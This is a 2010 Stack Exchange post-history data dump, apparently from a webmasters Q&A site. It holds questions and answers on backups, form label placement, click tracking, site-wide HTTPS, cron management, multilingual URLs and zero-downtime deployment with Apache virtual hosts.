  <row Id="3343" PostHistoryTypeId="5" PostId="1784" RevisionGUID="39dc3f86-8009-4cab-9201-5c520d79c1eb" CreationDate="2010-08-01T23:54:58.857" UserId="1160" Comment="added second solution and added pros/cons" Text="[Subversion][1]&#xD;&#xA;&#xD;&#xA;Pros:&#xD;&#xA;&#xD;&#xA; - It shares in work-groups easily&#xD;&#xA; - It helps with version tracking&#xD;&#xA; - It manages updates&#xD;&#xA;&#xD;&#xA;Cons: &#xD;&#xA;&#xD;&#xA; - Rollbacks can be a pain, to sort out what was lost in the rollback&#xD;&#xA; - It can cause work directories to become quite cluttered.&#xD;&#xA; - It can be difficult for designers and programmers to share workspace, as they use it differently.&#xD;&#xA;&#xD;&#xA;(---edit for alternate solution---)&#xD;&#xA;&#xD;&#xA;A PHP routine that lets you download a zip archive of the whole site. &#xD;&#xA;&#xD;&#xA;Pros: &#xD;&#xA;&#xD;&#xA; - Its a full single backup for milestones. (to keep stability tested versions)&#xD;&#xA; - Its web-based.&#xD;&#xA; - Code rollbacks are easy&#xD;&#xA; - Does not require an .svn hook to a directory&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA; - Does not share nicely&#xD;&#xA; - Magic numbers  and magic words in the code do not transition across domains easily&#xD;&#xA; - Requires much more storage space to archive&#xD;&#xA;&#xD;&#xA;  [1]: http://subversion.apache.org/" />
  <row Id="3344" PostHistoryTypeId="2" PostId="1807" RevisionGUID="9bbcbbbf-e574-4a70-8075-ed6af30ccb87" CreationDate="2010-08-02T00:35:46.713" UserId="1160" Text="I cannot vouche for Kentico, since that is ASP.net based, and what you are looking at might run you into compatibility issues mixing PHP into the mix.&#xD;&#xA;&#xD;&#xA;For PHP, [UltraPanel PRO][1] would handle overloading all your static and dynamic pages just as you described as a CMS system.&#xD;&#xA;&#xD;&#xA;Honestly, if I was a developer and a client asked me to build a site that uses both PHP and ASP.net, I would decline. They are two different kinds of scripting languages and two different kind of web platforms. This applies across the board to both file permissions and script access to URL formatting and form submits to JSON and AJAX handlers to database connections and query usage. &#xD;&#xA;&#xD;&#xA;Really the only common interface you have is image and video stores along with the supporting CSS files for templates. But this is the design work only, it doesn't involve any of the underlying logic to website functionality.&#xD;&#xA;&#xD;&#xA;Being so many differences I can think of off the top of my head, I would stick with one or the other. If there is too much codebase to re-write everything that is PHP in ASP.net, you may want to look for alternate solutions to Kentico, but that are in PHP.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ultrapanelpro.com" />
  <row Id="3345" PostHistoryTypeId="2" PostId="1808" RevisionGUID="2ef66fc1-5b2e-44f4-9a1e-4d0e72bc82b0" CreationDate="2010-08-02T02:38:30.193" UserId="179" Text="To save time I use a Firefox Extension called &lt;a href=&quot;http://users.skynet.be/mgueury/mozilla/&quot;&gt;HTML Validator&lt;/a&gt;. It adds validation to your view source window, tells you errors and warnings in a bottom pane. Also puts an icon in the bottom of your window showing you a quick reference for yes/no on validation. If no, then you just view source and it shows you exactly what your errors are. &#xD;&#xA;&#xD;&#xA;Also validates accessibility. " />
  <row Id="3346" PostHistoryTypeId="5" PostId="1785" RevisionGUID="d08600d3-279f-47a7-b229-8eccd9c98de5" CreationDate="2010-08-02T09:48:49.483" UserId="55" Comment="Clean up / formatting - removed non existent links" Text="I have worked with quite a few checkout systems and eCommerce platforms.  Are there certain kinds of interfaces that convert sales better than others?&#xD;&#xA;&#xD;&#xA;For me there are really only two questions:&#xD;&#xA;&#xD;&#xA; 1. SSL self hosted vs. 3rd party checkout&#xD;&#xA;&#xD;&#xA;  - for SSL this requires an SSL certificate and secure website routines to handle a credit card.&#xD;&#xA;&#xD;&#xA;  - for 3rd party, there is PayPal, Authorize.net, and GoogleCheckout&#xD;&#xA;&#xD;&#xA; 2. Single-Step vs. multicheckout see: [step two on this page][1]&#xD;&#xA;&#xD;&#xA;  - Single-Step seems easy enough, but does it convert better?&#xD;&#xA;&#xD;&#xA;  - multicheckout can get convoluted, but with a progress bar does it help the user convert?&#xD;&#xA;&#xD;&#xA;Hopefully this will focus on *the four possible answers* given either/or answers to the above. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdesignerdepot.com/2009/04/10-tips-to-design-usable-shopping-carts/" />
  <row Id="3347" PostHistoryTypeId="2" PostId="1809" RevisionGUID="da2185ce-3ccb-4ecb-a452-1ea1eac6789a" CreationDate="2010-08-02T12:45:48.317" UserId="1089" Text="Maybe its overkill, but I tend to follow the [BBC's browser supports standards][1] (this also looks good when talking to clients), whilst remembering [Andy Clarke's words][2]:&#xD;&#xA;&#xD;&#xA;&quot;If you’re one of those people who is hiding behind the outdated notion that web sites should look, or be experienced, exactly the same in every browser, you are in for a nasty shock.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bbc.co.uk/guidelines/futuremedia/technical/browser_support.shtml&#xD;&#xA;  [2]: http://stuffandnonsense.co.uk/blog/about/you8217re_living_in_a_fantasy_world" />
  <row Id="3348" PostHistoryTypeId="2" PostId="1810" RevisionGUID="54d101ce-9b4d-4f60-8359-a399ec549801" CreationDate="2010-08-02T12:52:27.677" UserId="1089" Text="**SSL self hosted vs. 3rd party checkout**&#xD;&#xA;&#xD;&#xA;One site I took over had already opted for [Sagepay][1] (previously protx)&#xD;&#xA;&#xD;&#xA;The cost of implementing SSL vs letting a 3rd party handle it for small fee was a no brainer. Secondly, Sage is a recognisable/reputable brand in the uk (where all the sites customers are based)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sagepay.com/" />
  <row Id="3349" PostHistoryTypeId="2" PostId="1811" RevisionGUID="39b9264b-e304-4ddd-ba29-8193d738126a" CreationDate="2010-08-02T13:44:31.630" UserId="231" Text="Windows XP:&#xD;&#xA;&#xD;&#xA; - IE 6&#xD;&#xA; - Safari 4&#xD;&#xA; - Firefox 3&#xD;&#xA; - Opera 10&#xD;&#xA; - Chrome 5&#xD;&#xA;&#xD;&#xA;Windows 7:&#xD;&#xA;&#xD;&#xA; - IE 8&#xD;&#xA; - Safari 5&#xD;&#xA; - Firefox 3&#xD;&#xA; - Opera 10&#xD;&#xA; - Chrome 5&#xD;&#xA; - Flock&#xD;&#xA;&#xD;&#xA;Mac OS X:&#xD;&#xA;&#xD;&#xA; - Safari 5&#xD;&#xA; - Firefox 3&#xD;&#xA; - Opera 10&#xD;&#xA; - Chrome 5&#xD;&#xA; - Camino 2&#xD;&#xA; - Flock 2&#xD;&#xA; - iCab 4&#xD;&#xA; - OmniWeb 5&#xD;&#xA; - Shiira&#xD;&#xA; - Sunrise (2 versions)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3350" PostHistoryTypeId="2" PostId="1812" RevisionGUID="5673a54d-cc0d-4eb9-bfcb-3cdec2fafcfa" CreationDate="2010-08-02T13:59:33.840" UserId="233" Text="They are not mutually exclusive: with progressive enhancement you can use both!&#xD;&#xA;&#xD;&#xA;Start with a basic form that submits via POST, and write some server-side code to handle that and redirect back to the previous page, which will now be updated. This covers the accessibility and no-JS sides.&#xD;&#xA;&#xD;&#xA;Next, add your AJAX code to the page, that &quot;hijacks&quot; the `onsubmit` event for the form, call your AJAX function that runs the same server-side code to process the submission, but this time returns some data that tells you how to update the page. *Don't forget to return false* from your JS function so that the form is not posted in the normal way.&#xD;&#xA;&#xD;&#xA;Now you have the &quot;faster&quot; experience for the majority of users, and still have the functional experience for everyone as a backup." />
  <row Id="3351" PostHistoryTypeId="2" PostId="1813" RevisionGUID="c29a1189-3b0e-4b12-b787-38e4f6178059" CreationDate="2010-08-02T14:54:09.950" UserId="524" Text="I'm creating a form that will ask a visitor for their `firstname`, `middle initial`, and `lastname`. I want the those text fields to be all inline, but where should I place the labels? On the left, top, or under the fields. &#xD;&#xA;&#xD;&#xA;I'm looking for the best approach from a usability standpoint. " />
  <row Id="3352" PostHistoryTypeId="1" PostId="1813" RevisionGUID="c29a1189-3b0e-4b12-b787-38e4f6178059" CreationDate="2010-08-02T14:54:09.950" UserId="524" Text="Form label position for best usability" />
  <row Id="3353" PostHistoryTypeId="3" PostId="1813" RevisionGUID="c29a1189-3b0e-4b12-b787-38e4f6178059" CreationDate="2010-08-02T14:54:09.950" UserId="524" Text="&lt;html&gt;&lt;usability&gt;&lt;user-input&gt;" />
  <row Id="3354" PostHistoryTypeId="2" PostId="1814" RevisionGUID="b31ea484-4e28-4669-90c0-abed620875c5" CreationDate="2010-08-02T15:12:44.773" UserId="69" Text="You should take a look at [Amanda backups][1]. You can do everything in your list except for the FTP part but you shouldn't have to worry about that since it comes with its own way of shipping the backups around. One of the best things about it is that it stores all the backups in a standard way and they can be extracted without Amanda if you would ever need to do that. There is also a [commercial version][2] that has even more features like backing up to Amazon S3.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amanda.org/&#xD;&#xA;  [2]: http://amanda.zmanda.com/" />
  <row Id="3355" PostHistoryTypeId="2" PostId="1815" RevisionGUID="41cf1985-f0f9-452d-a854-8b15ed68e807" CreationDate="2010-08-02T15:33:37.250" UserId="108" Text="The most important thing is to be consistent with the rest of your site. In general most websites do the labels to the left of the text fields.  In this cause it would be a long description so make sure you have room and it flows well.&#xD;&#xA;&#xD;&#xA;If to the left doesn't look right or there isn't room to do it, then I would do above.  As that is very clear.&#xD;&#xA;&#xD;&#xA;The only method I would avoid is putting the labels under the text fields.  when the labels are under the fields it is more confusing. " />
  <row Id="3356" PostHistoryTypeId="2" PostId="1816" RevisionGUID="75a34733-3f56-4e93-b4b9-d8e1ad05faa9" CreationDate="2010-08-02T15:40:37.263" UserId="236" Text="Are there any tools availible for tracking users clicks on a website, both internal and external? Preferably one that is free and can track a series of clicks from a user (Example, user clicked 'blog' then 'archives' then a particular article)" />
  <row Id="3357" PostHistoryTypeId="1" PostId="1816" RevisionGUID="75a34733-3f56-4e93-b4b9-d8e1ad05faa9" CreationDate="2010-08-02T15:40:37.263" UserId="236" Text="Tools for tracking clicks " />
  <row Id="3358" PostHistoryTypeId="3" PostId="1816" RevisionGUID="75a34733-3f56-4e93-b4b9-d8e1ad05faa9" CreationDate="2010-08-02T15:40:37.263" UserId="236" Text="&lt;click-tracking&gt;" />
  <row Id="3359" PostHistoryTypeId="2" PostId="1817" RevisionGUID="29759ac4-4436-4b19-94b1-ded3ca6e6a77" CreationDate="2010-08-02T15:41:54.190" UserId="236" Text="There are two options that are considered best:&#xD;&#xA;&#xD;&#xA; - labels to the left of the field, flushed right so they are close to the input.&#xD;&#xA; - labels above the field itself&#xD;&#xA;&#xD;&#xA;another important thing to note for usability to make sure you are using the for attribute of the label, so that clicking the label focuses on the field it labels.&#xD;&#xA;" />
  <row Id="3360" PostHistoryTypeId="2" PostId="1818" RevisionGUID="c4319901-3609-4cec-a538-2e6a57f33f42" CreationDate="2010-08-02T15:43:43.177" UserId="17" Text="I personally use https://www.crazyegg.com/ they have a great service. For funneling you can use http://www.kissmetrics.com/ but it has a pricey tag on their service.&#xD;&#xA;&#xD;&#xA;Not too sure about internal trackers.  " />
  <row Id="3361" PostHistoryTypeId="2" PostId="1819" RevisionGUID="b00923ef-4f4a-428d-ba68-a764a27ec6ce" CreationDate="2010-08-02T15:45:50.727" UserId="108" Text="If you are looking for free [Google Analytics][1] is your best bet.  It not only gives you a what links where clicked on by name, but it also gives you what links were click on the page using a simple heat map.  I say simple because it won't tell you where on the link that the user clicked on each page, just what % of the clicks on each link on a page.  It doesn't matter if the clicks are inside or out I believe.&#xD;&#xA;&#xD;&#xA;If one you want something more complex, then you will need Crazy Egg or Kiss Metrics as Thorn007 stated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/" />
  <row Id="3362" PostHistoryTypeId="2" PostId="1820" RevisionGUID="632740f7-699f-4c8f-9a18-e74819495078" CreationDate="2010-08-02T15:48:27.310" UserId="17" Text="Normally, for your situation, at the top or to the left is best. Just be sure the label comes before the input field for accessibility.&#xD;&#xA;&#xD;&#xA;Still there are many different ways to layout a page and be accessible.&#xD;&#xA;&#xD;&#xA;Form labels can really appear just about anywhere you want them as long as it makes since. This recourse is worth a look, http://patterntap.com/tap/collection/forms" />
  <row Id="3363" PostHistoryTypeId="2" PostId="1821" RevisionGUID="e60d6f5d-b4c2-48c1-a066-9ed9e94001ab" CreationDate="2010-08-02T17:14:58.100" UserId="923" Text="Answer: None of the above. Use **placeholder** text inside the field itself. The placeholder attribute is a built-in part of HTML-5. &#xD;&#xA;&#xD;&#xA;Otherwise, I'd say put it above the fields, left-aligned." />
  <row Id="3364" PostHistoryTypeId="5" PostId="451" RevisionGUID="36b57925-ea37-4579-b03b-bef24af7a5c2" CreationDate="2010-08-02T17:46:28.987" UserId="55" Comment="added 2 characters in body" Text="I often use [this tool][1] to generate `quick n dirty` XML site maps for static sites. You just give it the URL of your site and it will generate a sitemap for you to download (wget friendly link, at that).&#xD;&#xA;&#xD;&#xA;Most dynamic sites that I build either generate a new sitemap whenever any content has changed, or generate a site map on the fly whenever it is requested. Most popular CMS / blogging systems have a variety of modules / plug-ins that will accomplish this for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xml-sitemaps.com/" />
  <row Id="3365" PostHistoryTypeId="2" PostId="1822" RevisionGUID="2e315a38-b12c-4e9d-8a4b-2fcf85d31dd3" CreationDate="2010-08-02T18:10:21.793" UserId="132" Text="Have a look at &lt;a href=&quot;http://www.uxmatters.com/mt/archives/2006/07/label-placement-in-forms.php&quot;&gt;this study by UXmatters&lt;/a&gt;. It is fairly in depth, includes data on eye-tracking, and concludes that labels on top is overall the best solution.&#xD;&#xA;&#xD;&#xA;There is &lt;a href=&quot;http://www.lukew.com/resources/articles/web_forms.html&quot;&gt;a similar article by Luke Wroblewski&lt;/a&gt;, also fairly detailed. Both articles are worth reading!" />
  <row Id="3366" PostHistoryTypeId="2" PostId="1823" RevisionGUID="e697100f-980e-4a13-adcb-41a57a00c94d" CreationDate="2010-08-02T19:54:26.070" UserId="1079" Text="I'm working on a fairly standard web site with public content plus personal/customized content for registered users.  I know I need to use HTTPS when users are logging in or sending credit card details.  Is there a reason I shouldn't just use HTTPS for the whole site?" />
  <row Id="3367" PostHistoryTypeId="1" PostId="1823" RevisionGUID="e697100f-980e-4a13-adcb-41a57a00c94d" CreationDate="2010-08-02T19:54:26.070" UserId="1079" Text="HTTPS for entire site" />
  <row Id="3368" PostHistoryTypeId="3" PostId="1823" RevisionGUID="e697100f-980e-4a13-adcb-41a57a00c94d" CreationDate="2010-08-02T19:54:26.070" UserId="1079" Text="&lt;ssl&gt;" />
  <row Id="3369" PostHistoryTypeId="2" PostId="1824" RevisionGUID="928463fd-c210-4d6c-90ad-216b46585eb3" CreationDate="2010-08-02T20:07:41.357" UserId="1111" Text="Question yourself: &quot;Is there a reason I should use HTTPS for the whole site?&quot; :-)" />
  <row Id="3371" PostHistoryTypeId="2" PostId="1826" RevisionGUID="5635b0fd-e770-4e97-889a-d1cc63fdcb56" CreationDate="2010-08-02T20:14:12.357" UserId="914" Text="Yes, there's a reason you shouldn't use it for the whole site. Some browsers (depending on brand and version) will not cache content from HTTPS requests to disk, which can seriously slow the browsing experience for users, as static assets will be loaded with every page request (style-sheets, javascript, header images etc). For example, [Mozilla states][1] that:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Disk caching saves copies of the&#xD;&#xA;&gt; downloaded files on the hard drive so&#xD;&#xA;&gt; they doesn't need to be downloaded to&#xD;&#xA;&gt; be redisplayed. These pages can be&#xD;&#xA;&gt; viewed by anyone with permission to&#xD;&#xA;&gt; the cache folder. Pages transmitted&#xD;&#xA;&gt; with SSL encryption often contain&#xD;&#xA;&gt; sensitive information and caching of&#xD;&#xA;&gt; these pages to disk may present a&#xD;&#xA;&gt; privacy risk. This preference controls&#xD;&#xA;&gt; whether to cache to disk pages that&#xD;&#xA;&gt; were transmitted with SSL encryption.&quot;&#xD;&#xA;&#xD;&#xA;How individual browsers cache HTTPS is [somewhat disputed][2] but there still remains a good chance that many users will have disk caching disabled for HTTPS requests.&#xD;&#xA;&#xD;&#xA;Secondly, HTTPS requires a &quot;[handshake][3]&quot; for every request and this comes with some overhead, which will effect performance and make requests larger (typically only by a few KB - but it's for every request and this adds up). HTTP [KeepAlive][4] can limit this, but it's still an overhead that you don't need for non-secure content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kb.mozillazine.org/Browser.cache.disk_cache_ssl&#xD;&#xA;  [2]: http://stackoverflow.com/questions/174348/will-web-browsers-cache-content-over-https&#xD;&#xA;  [3]: http://publib.boulder.ibm.com/infocenter/tivihelp/v2r1/index.jsp?topic=/com.ibm.itame2.doc_5.1/ss7aumst18.htm&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Keepalive" />
  <row Id="3373" PostHistoryTypeId="2" PostId="1827" RevisionGUID="28819a61-fb84-4161-8fa5-305cac1116b7" CreationDate="2010-08-02T20:19:35.337" UserId="108" Text="As I see it, the only reason to not use HTTPS on your entire site are that it will slow your server some and visitors have a slightly slower browsing experience.  That being said, there are benefits.  Specifically:&#xD;&#xA;&#xD;&#xA; 1. You will never have to worry about putting data you want to keep secure on any page of your site.  You can't forget.&#xD;&#xA; 2. Users will notice your site is encrypted entirely and may feel more secure in giving you their information.&#xD;&#xA; 3. Users know that your website belongs to your company and hasn't been taken over.&#xD;&#xA;&#xD;&#xA;Beyond making it easier for your developers to not worry about showing secure data on an unencrypted page, there is really no *technical* reason to use HTTPS on every page.  By the same reasoning, there is very little reason not to.  " />
  <row Id="3374" PostHistoryTypeId="2" PostId="1828" RevisionGUID="6e38af06-4a66-4054-88c5-8821f69c0631" CreationDate="2010-08-02T20:39:52.263" UserId="1183" Text="You should also think about growth.  Once you have more then a single webserver, you will have to decide:  Do you want to provide HTTPS on each individual server, and if so, will you be using the same certificate or a cert per server as is often recommended.  I have seen more common setups where there are fewer HTTPS servers as they are generally only used for processing of sensitive details and more HTTP servers since those tend to receive the bulk of the traffic.   HTTPS adds a little more complexity to each of your setups.  Just something to keep in mind.  " />
  <row Id="3375" PostHistoryTypeId="2" PostId="1829" RevisionGUID="7bed4e24-4ac9-4673-8570-08caa14d3f27" CreationDate="2010-08-02T20:44:59.957" UserId="1183" Text="Whichever backup solution you go with, realize that backups are worthless if you don't test them.  This means, having a restore strategy, and actually simulating a complete recovery.  You don't have to kill your production data to do this, but you need to make 100% sure that you can actually recover what you need to using your backups.  Also version control **is not a form of backups**, you had best hope that you have a backup of your repository and that you *test* that you can restore the repository from that backup in case of catastrophic failure.  With that said, Amanda is a very powerful tool, if that is what you are looking for.  Otherwise, tar, dump, restore, and mysqldump are your friends. " />
  <row Id="3376" PostHistoryTypeId="2" PostId="1830" RevisionGUID="bb9caea6-b6a5-4529-87a1-c92d8a90f197" CreationDate="2010-08-02T20:52:27.100" UserId="1183" Text="I have crontabs across multiple servers using different accounts.  The scripts are separated such for a reason, different users for different services, etc.  I did some searching for a tool to track what is running where in a central location, but didn't find anything.  How are others keeping track of their crontabs?  I'm writing some code now to fetch the crontabs from the servers and aggregate them in a central place, but was wondering if anyone has an elegant solution to this problem?  " />
  <row Id="3377" PostHistoryTypeId="1" PostId="1830" RevisionGUID="bb9caea6-b6a5-4529-87a1-c92d8a90f197" CreationDate="2010-08-02T20:52:27.100" UserId="1183" Text="cron management" />
  <row Id="3378" PostHistoryTypeId="3" PostId="1830" RevisionGUID="bb9caea6-b6a5-4529-87a1-c92d8a90f197" CreationDate="2010-08-02T20:52:27.100" UserId="1183" Text="&lt;server&gt;" />
  <row Id="3379" PostHistoryTypeId="10" PostId="1830" RevisionGUID="7e693297-7567-44d9-9cee-0390d3fca007" CreationDate="2010-08-02T21:36:20.500" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="3380" PostHistoryTypeId="11" PostId="1830" RevisionGUID="6b528fec-0ce0-456c-927b-0f9738362adb" CreationDate="2010-08-02T21:36:29.843" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="3381" PostHistoryTypeId="2" PostId="1831" RevisionGUID="72264879-d847-4db1-a963-39012e0c7f9e" CreationDate="2010-08-02T22:15:11.083" UserId="180" Text="If you are planning to run full SSL, make sure that any hosted third party services you're using (ad server, analytics, sharing tools, etc) have SSL versions available, or you'll get mixed content warnings on some browsers." />
  <row Id="3382" PostHistoryTypeId="2" PostId="1832" RevisionGUID="ec1c4b1d-b714-47fc-bb2a-491d46d8cb2a" CreationDate="2010-08-02T22:21:34.790" UserId="241" Text="In the past, I've placed crontabs in `/etc/cron.d`, given them a unique name (usually the hostname of the server) and checked those files into a central version control repository." />
  <row Id="3383" PostHistoryTypeId="2" PostId="1833" RevisionGUID="040d37d2-59c5-47ea-af15-e6c04d443190" CreationDate="2010-08-02T23:17:57.540" UserId="113" Text="I want to have my site available in several different languages. I've seen some sites that use [country code top level domains][1] (jp.blah.com), some include the language in the URL ( blah.com/jp/questions ), and some don't even include the language in the URL and just use the browsers locality setting or cookies to determine the language to be displayed. What are the pros and cons of each approach? Are there any techniques that I missed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Top-level_domain" />
  <row Id="3384" PostHistoryTypeId="1" PostId="1833" RevisionGUID="040d37d2-59c5-47ea-af15-e6c04d443190" CreationDate="2010-08-02T23:17:57.540" UserId="113" Text="What's the best way to split up the multilingual parts of my site?" />
  <row Id="3385" PostHistoryTypeId="3" PostId="1833" RevisionGUID="040d37d2-59c5-47ea-af15-e6c04d443190" CreationDate="2010-08-02T23:17:57.540" UserId="113" Text="&lt;i18n&gt;" />
  <row Id="3386" PostHistoryTypeId="2" PostId="1834" RevisionGUID="bd334187-4f9f-4254-8f69-902b7ef104e8" CreationDate="2010-08-02T23:33:38.497" UserId="77" Text="I've gotten the hang of asp.net MVC 2.0 a bit, and I'd like a more user-based ups and downs of the new preview. What's the good and the bad?" />
  <row Id="3387" PostHistoryTypeId="1" PostId="1834" RevisionGUID="bd334187-4f9f-4254-8f69-902b7ef104e8" CreationDate="2010-08-02T23:33:38.497" UserId="77" Text="what are the new features coming in Asp.net MVC 3?" />
  <row Id="3388" PostHistoryTypeId="3" PostId="1834" RevisionGUID="bd334187-4f9f-4254-8f69-902b7ef104e8" CreationDate="2010-08-02T23:33:38.497" UserId="77" Text="&lt;asp.net-mvc&gt;" />
  <row Id="3392" PostHistoryTypeId="2" PostId="1836" RevisionGUID="9fa03774-5fc6-4bbd-892b-35f63495ad3e" CreationDate="2010-08-02T23:54:53.530" UserId="215" Text="MSO has [a huge list.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/2267/stack-overflow-clones" />
  <row Id="3393" PostHistoryTypeId="10" PostId="1830" RevisionGUID="a4d8eb13-80c3-4402-8ddc-665ae371aa8a" CreationDate="2010-08-02T23:59:22.240" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="3394" PostHistoryTypeId="2" PostId="1837" RevisionGUID="f5421088-3d3f-42fa-9e1d-c35322bfedf6" CreationDate="2010-08-03T00:11:07.117" UserId="1188" Text="I'm currently diving into Yahoo's adwords program and am wondering if its possible to track their ad campaigns in Google Analytics with cost data so I can trace my costs to my revenue. Has anyone accomplished this or know a good way to do it? &#xD;&#xA;&#xD;&#xA;Thanks for looking!" />
  <row Id="3395" PostHistoryTypeId="1" PostId="1837" RevisionGUID="f5421088-3d3f-42fa-9e1d-c35322bfedf6" CreationDate="2010-08-03T00:11:07.117" UserId="1188" Text="How do I track Yahoo Adwords campaigns in Google Analytics with cost data?" />
  <row Id="3396" PostHistoryTypeId="3" PostId="1837" RevisionGUID="f5421088-3d3f-42fa-9e1d-c35322bfedf6" CreationDate="2010-08-03T00:11:07.117" UserId="1188" Text="&lt;google-analytics&gt;&lt;advertising&gt;&lt;yahoo&gt;" />
  <row Id="3397" PostHistoryTypeId="2" PostId="1838" RevisionGUID="552f2f38-5b17-4fc3-8a3a-01612ade2bc7" CreationDate="2010-08-03T00:13:16.037" UserId="215" Text="Downtime is inconvenient for users and currently they have to wait any time a site's engine is being upgraded. Additionally, when using off-the-shelf scripts there's a risk that a setting change won't work as well as intended.&#xD;&#xA;&#xD;&#xA;How can I keep multiple versions of a site on a server and switch between them without causing any downtime?" />
  <row Id="3398" PostHistoryTypeId="1" PostId="1838" RevisionGUID="552f2f38-5b17-4fc3-8a3a-01612ade2bc7" CreationDate="2010-08-03T00:13:16.037" UserId="215" Text="How can I update my site without forcing users to wait?" />
  <row Id="3399" PostHistoryTypeId="3" PostId="1838" RevisionGUID="552f2f38-5b17-4fc3-8a3a-01612ade2bc7" CreationDate="2010-08-03T00:13:16.037" UserId="215" Text="&lt;best-practice&gt;&lt;site-deployment&gt;&lt;server&gt;&lt;downtime&gt;" />
  <row Id="3400" PostHistoryTypeId="2" PostId="1839" RevisionGUID="ffb5c004-1b8b-4b5e-8b51-1f4eaff859e4" CreationDate="2010-08-03T00:17:31.020" UserId="745" Text="From an SEO perspective, you should definitely use different URLs for each language rather than changing the content dynamically. The search engines will view each translation as a completely different page and there won't be any duplicate content penalty. As for the format of the URL, refer to the answers in the question rchern linked to in his comment. &#xD;&#xA;&#xD;&#xA;Also, if you auto-detect the language, make sure that you provide a way for the user to switch to their language of choice. Some multi-lingual users prefer to read content in a language other than their browser's default." />
  <row Id="3401" PostHistoryTypeId="2" PostId="1840" RevisionGUID="b6d37ef2-66de-46d8-aefd-0ab20bc6b53c" CreationDate="2010-08-03T00:21:34.257" UserId="745" Text="What I would suggest:&#xD;&#xA;&#xD;&#xA; - Test locally on a development server before uploading any&#xD;&#xA;   changes. Don't make the changes on a&#xD;&#xA;   live server until you're reasonably sure it works on the test server.&#xD;&#xA; - Perform maintenance at your least&#xD;&#xA;   heavy traffic time. For most&#xD;&#xA;   websites, this will be in the early&#xD;&#xA;   morning hours on the weekends. If&#xD;&#xA;   weekends aren't an option, then do it&#xD;&#xA;   during your least-trafficked time&#xD;&#xA;   during the week.&#xD;&#xA; - Warn your users of scheduled&#xD;&#xA;   maintenance ahead of time." />
  <row Id="3402" PostHistoryTypeId="5" PostId="1838" RevisionGUID="1bc8b21b-6ad3-40db-98b9-18b2c5a3576f" CreationDate="2010-08-03T00:27:52.683" UserId="215" Comment="added 48 characters in body" Text="Downtime is inconvenient for users and currently they have to wait any time a site's engine is being upgraded. Additionally, when using off-the-shelf scripts there's a risk that a setting change won't work as well as intended (even if they've been tested on a staging site).&#xD;&#xA;&#xD;&#xA;How can I keep multiple versions of a site on a server and switch between them without causing any downtime?" />
  <row Id="3405" PostHistoryTypeId="2" PostId="1841" RevisionGUID="78edacb6-5e09-43bb-b09c-6b85b71ce61b" CreationDate="2010-08-03T01:19:47.383" UserId="1183" Text="You can use virtual hosts in apache to have 2 versions of the code at 2 different urls.  A commonly used example is:  &#xD;&#xA;&#xD;&#xA;test.example.com  -&gt;  /var/www/version1.2&#xD;&#xA;&#xD;&#xA;www.example.com   -&gt;  /var/www/version1.1&#xD;&#xA;&#xD;&#xA;both of which are on the same server, but perhaps only one is accessible to the world.  Once you are satisfied that test.example.com is working, you can just change where they point to in your apache config and... presto.  New site, new code.  Assuming there were no database schema changes this should work.  So after you make the change it will be: &#xD;&#xA;&#xD;&#xA;test.example.com -&gt; /var/www/newtestversion&#xD;&#xA;&#xD;&#xA;www.example.com -&gt; /var/www/version1.2&#xD;&#xA;&#xD;&#xA;Here is an example apache config directive for a virtual host: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    &#xD;&#xA;         ServerAdmin gabe@localhost&#xD;&#xA;    &#xD;&#xA;         DocumentRoot &quot;/var/www/version1.1&quot;&#xD;&#xA;    &#xD;&#xA;         ServerName test.example.com&#xD;&#xA;    &#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;For more info on how to do this, see the [apache virtual host documentation][1]&#xD;&#xA;&#xD;&#xA;I'm not sure how to do this in IIS, but I imagine there is also a way. &#xD;&#xA;&#xD;&#xA;If something goes wrong, switch the virtual host back to the original, and your old site is back... no problems.  You do have to restart apache for these changes to take effect, but that is generally a very fast thing to do. &#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/vhosts/" />
  <row Id="3406" PostHistoryTypeId="5" PostId="1838" RevisionGUID="f7842af6-2345-4682-b87d-70fc448aa4a2" CreationDate="2010-08-03T01:39:01.767" UserId="215" Comment="added 28 characters in body" Text="Downtime is inconvenient for users and currently they have to wait any time a site's engine is being upgraded. Additionally, when using off-the-shelf scripts there's a risk that a setting change won't work as well as intended (even if they've been tested on a staging site).&#xD;&#xA;&#xD;&#xA;How can I keep multiple versions of a site on a server and switch between them without causing any downtime (e.g. with a htaccess file)?" />
  <row Id="3407" PostHistoryTypeId="2" PostId="1842" RevisionGUID="a77fcb23-5e22-4321-85ff-f4016b6c90ca" CreationDate="2010-08-03T01:43:13.427" UserId="215" Text="If you have a small site then you should consider [NearlyFreeSpeech][1]. Instead of monthly plans they charge you for what you use. The downside is that they only support PHP (with safe mode) and CGI for scripting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nearlyfreespeech.net/" />
  <row Id="3408" PostHistoryTypeId="16" PostId="1842" RevisionGUID="a77fcb23-5e22-4321-85ff-f4016b6c90ca" CreationDate="2010-08-03T01:43:13.427" UserId="-1" />
